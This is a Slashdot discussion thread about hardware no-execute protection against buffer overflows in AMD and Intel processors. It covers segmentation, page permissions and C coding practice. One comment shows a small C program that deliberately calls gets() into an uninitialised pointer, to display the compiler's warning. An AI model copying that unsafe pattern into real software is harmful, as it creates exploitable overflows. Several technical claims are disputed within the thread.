    This is good in the same way AOL is good at protecting most of its users. It is bad because instead of making programmers actually pay attention to this sort of thing, it encourages them to completly ignore the problem! I can just see alot of people say to themselves, I don't have to worry about that because the hardware will make sure bad things don't happen. What next, hardware Outlook virsus checkers?

    1. Re:This is good and bad. by slide-rule · · Score: 1

      From other comments in the thread, it doesn't sound like this will magically make bad code no longer break, barf, and die upon overflowing... rather, sounds like it would be used prevent accidental or malicious execution of arbitrary code due to overflowing/overwriting the data areas into the instruction areas of the chip's buffer(s). Piss-poor code that breaks still will. (Something like that... I'm hardly a "chip" guy.)

  36. I guess I'm too old or something by Conor6 · · Score: 2, Insightful

    ...when I was a wee programmer, I was taught that the solution to this problem was to write better code.

    --
    Conor
    Programmer, Consultant, Geek, CTYer.
    1. Re:I guess I'm too old or something by egomaniac · · Score: 2, Insightful

      ...when I was a wee programmer, I was taught that the solution to this problem was to write better code.

      And that strategy sure seems to be working well for the industry, doesn't it?

      Bugs are a fact of life. The programmer who can write everything perfectly on the first try and never make an innocent screwup does not exist. Even if such a programmer existed, he would not be allowed the time or development budget to actually write perfect code, as his code would be pushed out the door as soon as it looked reasonably complete.

      So, you can sit on your ass idly envisioning a world in which everybody writes perfect, bug-free code, or you can come back to the real world and try to make it more difficult to produce bugs and reduce the impact of the ones that inevitably occur.

      After years working exclusively in Java, I am horrified that C programmers still consider the lack of array bounds checking to be a natural, normal part of life. It isn't. It's disaster after disaster waiting to happen, and there is absolutely no excuse for it. Performance is not an excuse -- we have machines running at multiple gigahertz now. They can spare a few cycles to do bounds checking. This crap needs to be fixed.

      AMD can't make us all switch to sane programming languages, but they can at least ensure that code segments can't be modified. It's a good first step. The next step is to realize that C/C++ is horribly, unbelievably broken at a fundamental level and needs to be discarded.

      --
      ZFS: because love is never having to say fsck
    2. Re:I guess I'm too old or something by Yokaze · · Score: 2, Insightful

      > It's disaster after disaster waiting to happen, and there is absolutely no excuse for it. Performance is not an excuse -- we have machines running at multiple gigahertz.

      No, most desktop machines and servers run at several GHz, they could spare some cycles for most their applications. Fine, use a bound checking version of the STL and don't meddle with pointers, it's not like you have, too.

      But the point is, most processors aren't on the desktop and don't have the cycles or space to check every pointer. And some applications are real-time. You just have 1ms to do X. So maybe you have go down to assember to get the work.

      C++ gives you the possiblity to work low-level, when you need it, but lets you program high-level, if you don't want to.

      > The next step is to realize that C/C++ is horribly, unbelievably broken at a fundamental level and needs to be discarded.

      The first step is to realise that a bad programmer produces broken code whatever language he/she uses. Bounds-checking is no substitute for correct error-checking and -handling, code-review, testing and debugging, whatever the language

      --
      "Between strong and weak, between rich and poor [...], it is freedom which oppresses and the law which sets free"
    3. Re:I guess I'm too old or something by Anonymous Coward · · Score: 0
      And that strategy sure seems to be working well for the industry, doesn't it?
      It works fine for me, and the people I work with. The fact that it doesn't seem to be working throughout the industry is simply a symptom of the mistaken belief that sloppy morons can actually produce quality software if you just make the tools safe enough for them.
    4. Re:I guess I'm too old or something by egomaniac · · Score: 1

      But the point is, most processors aren't on the desktop and don't have the cycles or space to check every pointer. And some applications are real-time. You just have 1ms to do X. So maybe you have go down to assember to get the work.

      Irrelevant. We are talking about security and buffer overflows. Cars, DVD players, and other embedded systems are closed and don't generally need to be concerned about people exploiting buffer overflows. I am only concerned with "real" computers here, not embedded systems.

      The first step is to realise that a bad programmer produces broken code whatever language he/she uses. Bounds-checking is no substitute for correct error-checking and -handling, code-review, testing and debugging, whatever the language

      And designing factory equipment with workers' safety in mind is no substitute for hardhats and proper safety precautions, but that doesn't mean that we shouldn't design equipment for safety. If you want safety, be it in the physical world or in software, there is no substitute for multiple layers of sensible precautions. Bounds checking makes code much safer. The cost is minimal, particularly on the sorts of programs that are most affected by buffer overflows (such as web servers). What possible reason is there to fight against the idea of doing it?

      You also suggest that C++ fixes this problem by allowing you to use STL and avoid pointers. Nonsense -- if it fixed the problem, we wouldn't still have buffer overflows in C++ programs. C++ makes it a bit easier to write safe code, I agree. But the fix is not to allow you to write safe code, but to (as much as is practical) make it impossible to do otherwise.

      I'm all for error checking, code review, and the like. Never said otherwise. But doesn't it make sense to design the underlying system such that when a bug inevitably slips through (and it will happen), the impact is likely to be minimal?

      --
      ZFS: because love is never having to say fsck
  37. Not as good as it sounded at first glance... by John+Seminal · · Score: 1
    AMD's Athlon-64 (for PCs) and Opteron (for servers) will protect against buffer overflows when used with a new version of Windows XP.

    But then it says:

    The new AMD chips prevent this. They separate memory into instruction-only and data-only sections. If hackers attempt to execute code from the data section of memory, they will fail. Windows will then detect the attempt and close the application.

    So, which one is it? Can any OS use this new feature in the hardware?

    --

    Rosco: "If brains were gunpowder, Enos couldn't blow his nose."

    1. Re:Not as good as it sounded at first glance... by CheshireCat · · Score: 1

      This is just spin on having a no-execute flag for pages of memory. It's documented, and any OS can use it. It's possible that the people responsible for PaX (which emulates noexec on x86) already have this working.

  38. what about when it doesn't work by Anonymous Coward · · Score: 0

    So, AMD is willing to take the liability for microsoft (and others) bad code?

    Are they really trying to say that it's safe to run windows and their boxes are unhackable?

    how long till they are hacked and in expensive lawsuits??

  39. Intel's 64bit lacks buffer overflow NX bit by Anonymous Coward · · Score: 1, Interesting

    Intel's 64bit processor (which they will market as 32bit with 64bit extention) lacks NX bit and I believe instructions necessary to implement this extra level of hardware based buffer overflow protection. It instead needs to be emulated in software which will unfortunately be slower. This may force the BSD/Linux brands to ship binaries with the least common denominator, meaning avoiding AMD's better instructions completely in order to be compatible with Intel's crippled chip.

    1. Re:Intel's 64bit lacks buffer overflow NX bit by jobsagoodun · · Score: 1

      Except for those of us using Gentoo, anyone building their own kernel, and come to think of it, all the distro's have processor architecture specific kernels anyhoo.

  40. What does it do? by slamb · · Score: 2, Informative
    From the article:
    Until now, Intel-compatible processors have not been able to distinguish between sections of memory that contain data and those that contain program instructions. This has allowed hackers to insert malicious program instructions in sections of memory that are supposed to contain data only, and use buffer overflow to overwrite the "pointer" data that tells the processor which instruction to execute next. Hackers use this to force the computer to start executing their own code (see graphic).

    The new AMD chips prevent this. They separate memory into instruction-only and data-only sections. If hackers attempt to execute code from the data section of memory, they will fail. Windows will then detect the attempt and close the application.

    I've seen patches to Linux that provide a non-executable stack. There's also the mprotect(2) system call to change memory protection from user programs. And I believe OpenBSD has had a non-executable stack in the mainline for at least a couple releases.

    So what they're advertising here seems to have already existed. If not, how are the things above possible?

    1. Re:What does it do? by Keeper · · Score: 1

      Linux and BSD run on non x86 processor architectures which have this ability.

    2. Re:What does it do? by slamb · · Score: 1
      Linux and BSD run on non x86 processor architectures which have this ability.

      Sure, but at least some of these patches work on x86. From the Openwall kernel patch FAQ:

      Q: Is the patch x86-specific?
      A: Only the non-executable stack feature of the patch is x86-specific
    3. Re:What does it do? by Keeper · · Score: 1

      You can write extra memory around the stack to detect overruns, however it still depends on software to do the trick (and being software controlled, it can be bypassed).

  41. This is not a future thing - AMD does it today by -tji · · Score: 1

    The Opterons and A64's have the ability to mark the stack as non-executable. This will stop common buffer overflow exploits, which run code off the stack to gain privileged execution.

    But, the OS needs to enable this, and I think it may only be available in 64 bit mode. The article mentions that the 64 bit XP will use it. Does anyone know if the x86-64 Linux kernels use this feature?

    1. Re:This is not a future thing - AMD does it today by Anonymous Coward · · Score: 2, Informative

      This is not a non-executable stack. It is a per-page execute bit. Please do not confuse the two.

      Linux has not yet looked into technology like this. The PaX project however has these features available via a kernel patch, that uses software techniques to achieve what will be quite simple now that hardware can support marking pages executable.

      Yes people, this does mean that as far as buffer overflows go, Windows on amd64 will soon be more resilient than a stock Linux kernel.

  42. Intel's advantage: the motherboards. by dave-fu · · Score: 2, Interesting

    You buy an Intel chip, you buy a reference mobo and you get rock-solid stability. You buy AMD, you end up rolling the dice on Via, SiS or NVidia and what feels like filthy voodoo trying to get everything to play nicely together.
    That said, nForce and nForce2-based mobos have come a long ways in terms of stability and overall ease of use, but then again... no one ever got fired for buying Intel. AMD separating code from data (curiously, like Intel managed to do once upon a time) is lovely but proving that they've got the best solution out there is a battle that's not going to be won overnight by a single innovation.
    Uptime will prove who's got the better solution.

    --
    Easy does it!
    This comment has been submitted already, 276865 hours , 59 minutes ago. No need to try again.
    1. Re:Intel's advantage: the motherboards. by Anonymous Coward · · Score: 0

      My last Intel chipset based motherboard was an old BX chipset based one.
      Since then, every computer I have built has been based on a VIA chipset, using the AMD Athlon series. My computers are rock stable, under quite high load.
      If you do a little research on your motheboards and buy good memory, the AMD solution will be just as good as the Intel solution, unless you need SMP. Then the Intel solution just wipes the floor with the AMD solution.

  43. Re:the Chipmaker??? by normal_guy · · Score: 4, Informative
    --

    Linux: Free if your time is worthless.
  44. Odd... by Anonymous Coward · · Score: 1, Interesting

    Until now, Intel-compatible processors have not been able to distinguish between sections of memory that contain data and those that contain program instructions. This has allowed hackers to insert malicious program instructions in sections of memory that are supposed to contain data only, and use buffer overflow to overwrite the "pointer" data that tells the processor which instruction to execute next. Hackers use this to force the computer to start executing their own code (see graphic).

    I'm pretty sure that the segment selectors of 80286 and newer processors have bits to indicate code or data, but Microsoft simply chose not to utilize this mechanism, instead opting to use a flat memory model and thus one small set of selectors. Makes me wonder if this new method is intended to similarly mark pages rather than segments.

    This mechanism won't help, however, unless the stack is treated as data only. I vaguely recall cases where kernel code writes short machine language snippets to the stack and then jumps to an address in the stack; allowing this behavior (coupled with using the stack for data buffers) is the basic buffer overflow problem.

    1. Re:Odd... by Anonymous Coward · · Score: 1, Informative

      You can't mark a given page in the current Intel x86 offerings as both execute and read-only. That is the problem.

  45. Re:Pathetic by strictnein · · Score: 5, Interesting

    It's pathetic that AMD has to fix M$'s bugs...

    How is this insightful? First of all, any post that uses the $ is Microsoft's name should be modded -1, 14 year old poster.

    As if buffer overflows really had much to do with the OS. It has a lot more to do with poor coding. Try the following searches for more info:

    linux buffer overflow
    bsd buffer overflow
    OS X buffer overflow
    Solaris buffer overflow
    And yes, everyone's favorite:
    windows buffer overflow

  46. AMD = INTEL by Anonymous Coward · · Score: 0

    Look,

    Anything that AMD does only helps Intel. Intel put a ton of CASH into amd to prop them up because Intel was being investigated as a Monopoly..WHICH THEY ARE. This is the same as MicroCrap giving SCO 50mil to sue Linux advocates with.

    Intel will continue to support AMD, allowing them to have a few items of note to keep em going. This allows Intel to earn BILLIONS of dollars/yr with 95% of the processor market.

    1. Re:AMD = INTEL by Anonymous Coward · · Score: 0

      maybe they just support them a little since the founders of both companies all worked together at National Semiconductor way back in the day.

  47. AMD Opteron and Athlon 64 already have this by dtjohnson · · Score: 4, Informative



    The AMD Opteron and Athlon 64 chips already
    have the buffer overflow protection in their hardware and the
    feature is already supported by both Linux and Windows XP 64-bit
    edition. AMD calls this "Execution Protection" and the
    basic idea is that the processor will not allow code that arrives to
    the system via a buffer overflow to be marked as
    executable. The slashdot story says "will have" for both
    Intel and AMD when it should read "AMD already has and Intel will
    have..."

    1. Re:AMD Opteron and Athlon 64 already have this by PitaBred · · Score: 1

      Hrm... this seems like something I might have to look into making sure is enabled. Any quick links for the lazy?

    2. Re:AMD Opteron and Athlon 64 already have this by Helvick · · Score: 3, Insightful

      As you say this is already supported by an appropriately compiled Linux kernel or XP-64 on the A64 & Opteron. The wider benefit for all of us is that this is to be included in XP SP-2 which will hopefully become endemic sometime this year. See this eWeek article . At that point this becomes an excellent marketing tactic for AMD. I haven't examined the IA32e documents for myself yet but those who have seem to think Intel have left out support of the NX flag - see sandpile.org. If this is true then Intel are handing AMD a real advantage as far as consumer marketing is concerned. Even I could spin that so that that it looked like more of an advantage than 64bit capability which to be honest is a real hard sell as far as your average consumer is concerned.

  48. Hrmm. by WhodoVoodoo · · Score: 2, Interesting

    Actually, I'm kind of worried that this might create a sort of Baby Boom effect of bad code.

    Just the sort of thing that, in a few years perhaps, someone will figure out how to exploit regardless of whether or not people are using these new chips.

    It may be insecure code, but if one can't effect it by use of these chips, it is no longer insecure. But what if a round of damaged chips come out. Would Intel or AMD be liable for the damages?

    Or would they be liable is there was a way around the new protection?

    Can you really impliment this in hardware, 100%, with 0 chance of exploitation?

    This kind of scares me, honestly. I do not yet trust this idea. AMD or Intel, I just don't trust the idea.

  49. Re:screw average joe - you mean screw reality by Anonymous Coward · · Score: 0

    Reality: Financial institutions are the slowest to adopt technology of any business sector.

    You probably think those "85,000 desktops" are running WinXP - more like OS/2 or DOS...

  50. Compare to SCSI flags. by irokitt · · Score: 1

    Microsoft hasn't been known to set flags consistently. Windows XP refuses to work properly with SCSI hard drives because Microsoft told manufacturers that they would set flags one way, then set them a different way in XP. Drivers had to be rewritten, and users only get proper performance when they use *special* drivers written for XP.

    --
    If my answers frighten you, stop asking scary questions.
  51. Re:the Chipmaker??? by Anonymous Coward · · Score: 0

    Insightful? Please.

    Because by your logic, Microsoft has patented the technology behind causing them and in this rare case decided to leave it up to someone else to fix.

    Nowhere in the parent post does (s)he come close to saying that. It's obvious that there will be a performance penalty for this built-in "feature", which is one of the reasons why I *don't* like it. The parent is suggesting that buffer overflows are caused by faulty programming, and not by faulty chip design. Somehow, you've managed to mangle that into "programmers can continue to write faulty code, and other people should be forced to fix it." How you did this, I don't know, but it clearly shows a lack of understanding on your part.

  52. Old news by Todd+Knarr · · Score: 5, Interesting

    This existed in the 8086 and 8088 CPUs. You seperate your program into code, data and stack segments and load the appropriate segment registers. Code segments can't be read or written, data and stack segments can't be executed. But stupid programmers decided that that kept you from playing games with code-as-data and data-as-code, so they created flat addressing mode with all segment registers pointing at a single segment. Feh. Those who don't read history are doomed to repeat it. Badly.

    1. Re:Old news by tomstdenis · · Score: 4, Informative

      Except you could write/read from the CODE segment and you could far jump into the data/extra/stack segment registers.

      What's better is that CS==DS was a common mode [known as a .COM or TINY model program].

      So there goes your theory.

      Tom

      --
      Someday, I'll have a real sig.
    2. Re:Old news by Todd+Knarr · · Score: 1

      You could, if the code segment was marked readable and writable and if the data and stack segments were marked executable. If you marked the data and stack segments themselves non-executable, you could jump into them all you wanted with the segment descriptor loaded into any segment register you wanted and all you'd get is an exception thrown by the hardware.

      That protection required a 286 or better, since the 8086 and 8088 used segment addresses directly instead of segment descriptors, but that just means that this has existed since the IBM PC/AT.

    3. Re:Old news by stuffduff · · Score: 1

      Old, maybe; but definately bad news for those who use languages that were designed to interpret and execute code from variables. I'd rather see a bios mod that we could just get an upgrade for.

      --
      "Can there be a Klein bottle that is an efficient and effective beer pitcher?"
    4. Re:Old news by IvyKing · · Score: 1
      I Am Not An OS/2 1.x expert, but my impression was that OS/2 1.x did make use of the rigid segmentation model imposed by the 286. Instead of malloc'ing out of a heap - OS/2 would give you another data segment whose length was requested in the malloc (N.B. this is a guess on my part). Any attempt to access memory outside of the permitted range in that segment would generate a protection fault.

      I do recall reading that M$ programmers preferred developing under OS/2 1.X because it was so picky about memory protection.

    5. Re:Old news by pragma_x · · Score: 1

      Grandparent does have a solid point though. The obvious intent of the 386 Protected Mode Specification (or any DPMI Spec for that matter that covers the behavior of segment descriptors) outlines the spirit of this concept he/she mentioned.

      See DPMI Specification, here and here.

      For the uninitiated, the CPU watches the kinds of activites performed on different types of segments and coughs up an interrupt if the program breaks the rules. This is the source of the infamous "Illegal Operation" errors you get in Windows 3.11, among other things. The second you try to execute data, or write to code without going through specific channels, things grind to an immediate halt. You can use pointer arithmetic to talk to other chunks of memory outside the allocation range of the segment, but the location of other code segments is also specified to be somewhat unpredictable, due to page caching (Unless those pages are locked).

      So the sprit of processor-based protection did exist 14+years ago. That's somewhat besides the fact since the exploit mentioned in this article, has much more to do with working within stack, not data segments.

      As long as you don't overflow the stack, you can still overrun a stack-allocated buffer and muck with the return address as well as older stack frames (remember, the stack winds down, not up, into memory). Adding additional, executable code to this 'payload' is really just an added bonus.

      If I had to guess, I'd say that AMD is going to track if CS:IP is aimed at any allocated region assigned to a data or stack style descriptor and fire and interrupt. The same may go for any combination of ES, DS, GS or SS based pointer set to any code segment.

      IMO, It makes sense that a processor manufacturer is stepping up to solve this problem since such protection would have to be a processor behavior in order to be secure. However, I wonder about the implications this will have on operating-system software since *something* will have to handle the destruction of compromised threads/processes.

    6. Re:Old news by nuttyprofessor · · Score: 1

      You can do this using flat address and paging.
      Mark all stack pages as non-executable -- there
      is already support for this on the protected mode
      Intel chips. Segmentation not needed.

    7. Re:Old news by Todd+Knarr · · Score: 1

      Setting the data and stack segments non-executable does that without needing to watch CS:IP. If someone does muck with the return address on the stack, they're limited to return addresses only within code segments. If all code segments are non-writeable there's no way to inject arbitrary code into them and trying will generate an exception. No additional work needed for all of this, merely switching back to a non-flat model with seperate code, data and stack segments. For extra nasty points make code segments non-readable as well, then it's not possible to even copy the code out of them to look at it.

      Note that the segment register in use doesn't matter, it's the setup in the segment descriptor pointed to by the segment register that counts. If you try to stuff a non-executable data segment in CS, you'll get an exception the first instruction you try to execute from it.

    8. Re:Old news by thebatlab · · Score: 1

      That's their motto. "News for Nerds. Stuff that mattered." ;)

    9. Re:Old news by Neillparatzo · · Score: 1
      How exactly did this end up modded to 5? Accessing the code segment on the 8086 is as trivial as using a CS: prefix. And by the time "flat addressing" came out in the 386, you also had this nice little thing called the MMU which controls read or write access on a per-page basis.

      The real issue here is that the x86 MMU only lets you control whether pages are readable or writable, not executable. (And before any Mac folks get all smug, the PowerPC has this exact same problem.) So you can't just set your data and stack pages to be non-executable. You also can't easily take advantage of the code segment limit, because you don't always have one contiguous area of code, thanks to shared libraries, DLLs, etc.

      OpenBSD solved this problem by setting the code segment limit to 0x20000000 (if I remember right?). All addresses above that are non-executable and all addresses below it are executable. Then they recompiled all the system binaries and shared libraries so the code sections fall underneath that address, and data sections fall above it.

      But there's probably a reason this solution wouldn't work for Win32, maybe something compatibility related. So now AMD has fixed the underlying problem once and for all by adding per-page executable bits to the Athlon64 and Opteron, and supposedly Intel is planning on doing the same.

      Now do you understand what this story is about?

    10. Re:Old news by Todd+Knarr · · Score: 1

      Except that, as of the 286, segment descriptors do allow you to control the executable state of segments, so the MMU's lack of an execute bit on pages doesn't cause a problem. Shared libraries would be dealt with by the loader just as they are now, save that the loader would put code sections into the code segment and data sections into the data segment (just as it did with non-tiny-model programs in DOS).

      As for why this won't work with Win32, it will. Back in the 16-bit days this was the standard way to do it. But when 32-bit came out on the x86 some bright soul decided that a flat, non-segmented memory model like the 68K had would be easier for programmers to work with (no more remembering whether your data was in a code segment or data segment), and segment support went away from the compilers and loader.

    11. Re:Old news by Neillparatzo · · Score: 1
      So you're seriously suggesting that we go back to segments, NEAR vs. FAR access, and pointers becoming 48-bit because you need the selector index along with the actual address. Let's set aside for a moment what a horrible idea that is, and say that there's simply no way you could adapt Win32 to that. For starters, all DLL calls are done using near calls. All pointers are assumed near. Some pointers are shoved into data structures that are fixed at 4 bytes. I could go on. You'd have to rewrite the entire API from the ground up.

      Meanwhile, Win32 already has VirtualProtect calls to set pages non-executable, since it was designed to work with multiple processors. Those particular page modes just happen to do nothing on the x86 (presumably until the new WinXP version).

      No offense, but I like AMD's solution better. Segments are ancient history; we got rid of them for a reason.

    12. Re:Old news by Todd+Knarr · · Score: 1

      In the simplest model, segregated code and data with the stack in the data segment, you don't need API or ABI changes at all. You only have two segments, code and data, and whether a pointer is to code or data is always known at point of usage. Since the segment registers are already loaded properly, calls by methods that don't switch tasks don't need any modification and calls that do switch tasks (eg. call via a task gate) only need an implementation change to retrieve the DS value from the calling task, not an API/ABI change. Pointers remain 32 bits, segment overrides are never needed.

      I think the fact that we are having to find ways to seperate code from data to avoid code injection via buffer overruns indicates that the idea behind segments, that is to seperate code from data so the two can't be confused, is in fact a good idea and that getting rid of that seperation was a bad idea.

    13. Re:Old news by Neillparatzo · · Score: 1
      The only reason we're "having to find ways to separate code from data" is because of the lack of a per-page executable bit. Which AMD has fixed, end of story.

      Because see, the rest of the world abandoned segments years ago, or never used them to begin with. x86 is the only mainstream architecture that has anything resembling "segment registers", and they're only vestigial organs from the days when you needed them to make 20-bit addresses. Segments are nothing more than an unnecessarily-limited version of paging.

      To illustrate this, your idea about "two segments, code and data" would never work because there's not one code segment. When you throw DLLs into the mix (not the least of which are the system interface ones like KERNEL32.DLL), you're going to have code mixed with data scattered throughout the 2GB user process space and only guaranteed to be separated on 4K page boundaries. And you can't separate them into different code segments, either, since they all assume it's okay to near-call each other.

      You can, in theory, artificially enforce the segregation of code and data so that all code sections are relocated beneath an arbitrary address. But there's probably a reason they haven't done this already in Win32 (PE relocations might not be flexible enough to handle it, not to mention the compatibility issues it might raise).

      "Calls that switch tasks"? You don't seem to understand the way modern operating systems work. None of that is visible to the user process.

      In summary, this is a permissions issue, not an architectural one. "Separating code from data so the two can't be confused" may have been the 1970s solution, but nowadays it's considered an ugly hack. The right solution is to just add the necessary permission bits.

  53. Re:Pathetic by Anonymous Coward · · Score: 5, Insightful

    Don't blame MS for everything. Unix too has a notorious history of its contibution due to buffer overflow. Ever heard of sendmail? I believe the first internet worm in 1988 utilized buffer overflow in number of unix apps including sendflow, finger, ...

    Software can't do everything. In fact, some earlier architectures offered choice of separating data segment and code segment (DEC VAX were the latest I used which had this feature), but because they have some performance penalty, the hardware companies removed this feature. Now that we have more speed than needed, it is being put back.

  54. guess: Compiler, not OS by Garion911 · · Score: 1

    Ok, so I haven't read detail specs on this.. But my guess is that the compilers will need to be changed to implement this.. Then any software would need to be recompiled.. No changes to the source for the app, but a recompile. The compiler would be the one that knows what is data, and what is code, so it should be able to flag stuff accordingly..

    --
    Slashdot is like Playboy: I read it for the articles
    1. Re:guess: Compiler, not OS by bradkittenbrink · · Score: 1

      Not true, they already had a buffer overflow protection that compilers could use a long time ago: the BOUND instruction. I don't think any mainstream compilers used it (at least not by default). This new fix is to allow an updated OS to protect against old apps that buffer overflow and minimize the damage. Besides, I think compilers already flag code and data segments within most executable file formats, but the OSs just ignore it for now because there's no hardware mechanism to enforce this distinction.

  55. Re:the Chipmaker??? by Malc · · Score: 2, Insightful

    It's not just MSFT. It's everybody. You could make that statement about the Apache Foundation.

  56. but.... by mr_tommy · · Score: 1

    Surely intel could profit aswell?!

  57. Give a hoot, don't pollute. by rafael_es_son · · Score: 1

    IHMO, available cycles should not be sacrificed to the overhead this will introduce when the problem is sloppy programming, whether it is programmer or retarded-i-can't-plan-manager induced.

    By the way, anyone caught using try-catch-finally clauses for 'liberal' conditioning need be hung by way of testicles or fallopian tubes.

    --
    HAD
  58. Execution bit on MMU Pages by adisakp · · Score: 5, Interesting

    For what it's worth... many processors, like the PowerPC series have had this "buffer overflow protection" feature for years. The idea is to mark program code pages after they are loaded as executeable and read-only. No other pages are marked executeable. It destroys clever little hacks like self-modifying code but at the same time, makes it impossible for buffer overflows to introduce new code into a programs executeable code page set.

    1. Re:Execution bit on MMU Pages by Ziviyr · · Score: 1

      It destroys clever little hacks like self-modifying code

      Those were destroyed by CPU caches a while ago AFAIK. Every time you selfmod you need to flush the cache, which is a huge performance hit.

      --

      Someone set us up the bomb, so shine we are!
    2. Re:Execution bit on MMU Pages by CTho9305 · · Score: 1

      x86 allows for non-executable areas of memory if you take advantage of segments. Unfortunately, lazy OS writers (both MS and the linux crowd) decided that managing segments was too difficult, and just set the code segment to encompass the whole address space, nullifying the potential advantages segments provide.

  59. Also: Widespread DoS possibility? by WhodoVoodoo · · Score: 2, Interesting

    The new AMD chips prevent this. They separate memory into instruction-only and data-only sections. If hackers attempt to execute code from the data section of memory, they will fail. Windows will then detect the attempt and close the application

    So if there is a buffer overflow in explorer.exe, and I exploit this buffer, it kills explorer.exe.

    and if I do this to IIS, repeatedly, from an outlook virus I just created to scan IP ranges and shut down any IIS server it can locate.

    1. Re:Also: Widespread DoS possibility? by egomaniac · · Score: 1

      So if there is a buffer overflow in explorer.exe, and I exploit this buffer, it kills explorer.exe.

      and if I do this to IIS, repeatedly, from an outlook virus I just created to scan IP ranges and shut down any IIS server it can locate.


      Yes, that's correct. In this example, there is still a severe bug in IIS, and the new AMD chips don't change that. The difference is that the worst you can (generally) do to a program under this new scenario is to crash it, as opposed to giving it arbitrary code to execute and potentially letting you root the box or perform other horribly nastiness.

      Personally, I consider that a major improvement.

      --
      ZFS: because love is never having to say fsck
    2. Re:Also: Widespread DoS possibility? by sgifford · · Score: 1

      Right. As compared to right now, where if there is a buffer overflow in explorer.exe and you exploit this bug, you gain full control over the victim's computer. A crashed application is loads better than your computer becoming a zombie.

  60. The Average Joe? by SpaceRook · · Score: 5, Interesting

    The average joe can't even figure out that he shouldn't open email attachments from people he doesn't know (Exhibit A: MyDoom). You really think he knows what the fuck a buffer overflow is? "No buffer overflow? But what if I *want* overflow! More is better!" I applaud this security feature, but don't think of it as a selling point for typical users.

    1. Re:The Average Joe? by Anonymous Coward · · Score: 1, Insightful

      you can spin it as a type of protection.
      joes love protection.. maybe include some sort of armament analogy. like its blows buffer overflows away like a nuke! or something

    2. Re:The Average Joe? by avandesande · · Score: 1

      Yeah but some IT guy is going to be buying a computer for this dope to use on the companies network.

      --
      love is just extroverted narcissism
    3. Re:The Average Joe? by nytmare · · Score: 1

      Your described typical user doesn't know what a CPU is either, so what's the conflict?

  61. Wow! by El · · Score: 4, Funny

    Separation of programs into separate code and data segment -- what a novel idea! I hope they got a patent on this technology!

    --

    "Freedom means freedom for everybody" -- Dick Cheney

    1. Re:Wow! by Just+Some+Guy · · Score: 1

      Somewhere out there, in a quiet and secluded landfill, a Harvard Mark I furiously spins in its grave...

      --
      Dewey, what part of this looks like authorities should be involved?
  62. Designed for Microsoft Windows by Hamster+Lover · · Score: 4, Funny

    Now those stickers on the front of the computer really mean something...

  63. Re:the Chipmaker??? by denlin · · Score: 2, Insightful

    agreed, it seems we're spawning an even lazier bunch of programmers then ourselves.

    --
    Yes, I have RTFA. Yes, I have a girlfriend. Yes, I'm new here. And no, I don't want a free iPod.
  64. Can't we already do this by Anonymous Coward · · Score: 0
    From the article:

    Until now, Intel-compatible processors have not been able to distinguish between sections of memory that contain data and those that contain program instructions. This has allowed hackers to insert malicious program instructions in sections of memory that are supposed to contain data only, and use buffer overflow to overwrite the "pointer" data that tells the processor which instruction to execute next.

    Can't we already do this by marking pages non-executable. The openwall project marks the stack non-executable which prevents many types of buffer overflows. What's new and different with this processor??

  65. eh? by lightray · · Score: 1

    I don't understand this.. modern operating systems already mark pages with individual write and execute permissions. Buffer overruns are exploitable when they occur in pages which are marked both writeable and executable, such as the stack... ?? I don't see why this requires new hardware to fix.

    1. Re:eh? by sgifford · · Score: 2, Interesting

      Intel processors don't support this properly. IIRC, they use a single bit to mean "Executable and Writable", although I can't currently find a reference to confirm that.

  66. Why can't... by cnelzie · · Score: 1

    gets() be deprecated already?

    I mean, if it is inherently unsafe, why keep such a function around?

    --
    If you ignore the other uses of a tool, does that make the tool less useful, or you less useful?
    1. Re:Why can't... by Anonymous Coward · · Score: 0

      because it's pretty farking useful if you don't want to screw around with getline() in some meaningless application.

    2. Re:Why can't... by joe_bruin · · Score: 1

      $ cat gets.c
      #include <stdio.h>

      int main()
      {
      char *s;
      gets(s);
      return 0;
      }

      $ gcc -Wall gets.c
      /tmp/ccGuaump.o: In function `main':
      /tmp/ccGuaump.o(.text+0xd): the `gets' function is dangerous and should not be used.
      $

    3. Re:Why can't... by KingOfBLASH · · Score: 1
      gets() be deprecated already?

      I mean, if it is inherently unsafe, why keep such a function around?

      Look, if gets() were removed from C/C++ compilers legacy applications would break -- although I personally think it's about time we let them be broken. However, because it doesn't do bounds checking in the function it is very easy to create a buffer overflow -- i.e. a security vulnerability that can be exploited by a knowlegeable attacker to 0wn your box.

    4. Re:Why can't... by Anonymous Coward · · Score: 0

      What? You're too farking lazy to use fgets?

    5. Re:Why can't... by Anonymous Coward · · Score: 0

      Years ago I was writing a program that ran on UnixWare. Deciding at the time that it would be wise to code the program so that it was easily portable to another OS should the need occur, meant that I turned on all the POSIX flags during the compile. Unfortunately this had the effect of preventing me from using several string functions that did bounds checking.

  67. Re:Pathetic by Kenja · · Score: 3, Funny

    What are you talking about? Linux has never suffered a buffer overflow.

    --

    "Have you ever thought about just turning off the TV, sitting down with your kids, and hitting them?"
  68. The is similar to ProPolice by Anonymous Coward · · Score: 0

    This isn't anything we haven't heard already. Microsoft plans to integrate a 'ProPolice' like feature into the next version of Windows for CPU's that appropriate (per page) memory permission flags. The Opterons have it.

    It is the same feature that makes OpenBSD's overflow protections work so well on Sparc systems.

  69. Re:Pathetic by paranode · · Score: 2, Informative

    Wraaaag! Why does everyone keep calling this a Microsoft bug?

    From the article:
    "AMD's Athlon-64 (for PCs) and Opteron (for servers) will protect against buffer overflows when used with a new version of Windows XP."

    So either these chips will only work to protect against Microsoft bugs (in conjunction with software), or we'll have to wait until Linux can figure out how to use this feature.

  70. Those are MOTHERBOARDS by Anonymous Coward · · Score: 4, Insightful

    Not CPU's. AMD doesn't make those motherboards, so it's not their fault if they don't implement the features.

  71. This is NOT new. by Anonymous Coward · · Score: 0

    ummmm remember propolice stackguard, there are a few other companies who make this. OpenBSD renamed it W^X it is all variations on the same idea. Have the kernel flag certain memory areas as r-w-x and then enforce it. The problem with x86 was that the memory space is NOT flat. You have to use ES registers and the like to calculate where you actually are in memory, This is why windoze and linux have trouble with it. It is a pain in the ass the rearrange the layout of all known memory in a running system and dynamically flag r-w-x...
    64bit cpu's have a flat memory space, ssoooo everything above 48MB is RO, everything between 0 and 16MB is executable etc.etc. It becomes a VERY simple problem of executable code must live in the executable memory pages. Buffers from ANY kernel or application must live in the RO memory pages period. now you dont have a buffer problem. because overflows just mess up other RO memory and IF they try and do more they get SEG-FAULT.
    end of story. nothing to see here (except the usual microcrap touting new technology that everyone else has had for a decade.)

  72. Articles lacking on tech... by Satan's+Librarian · · Score: 1
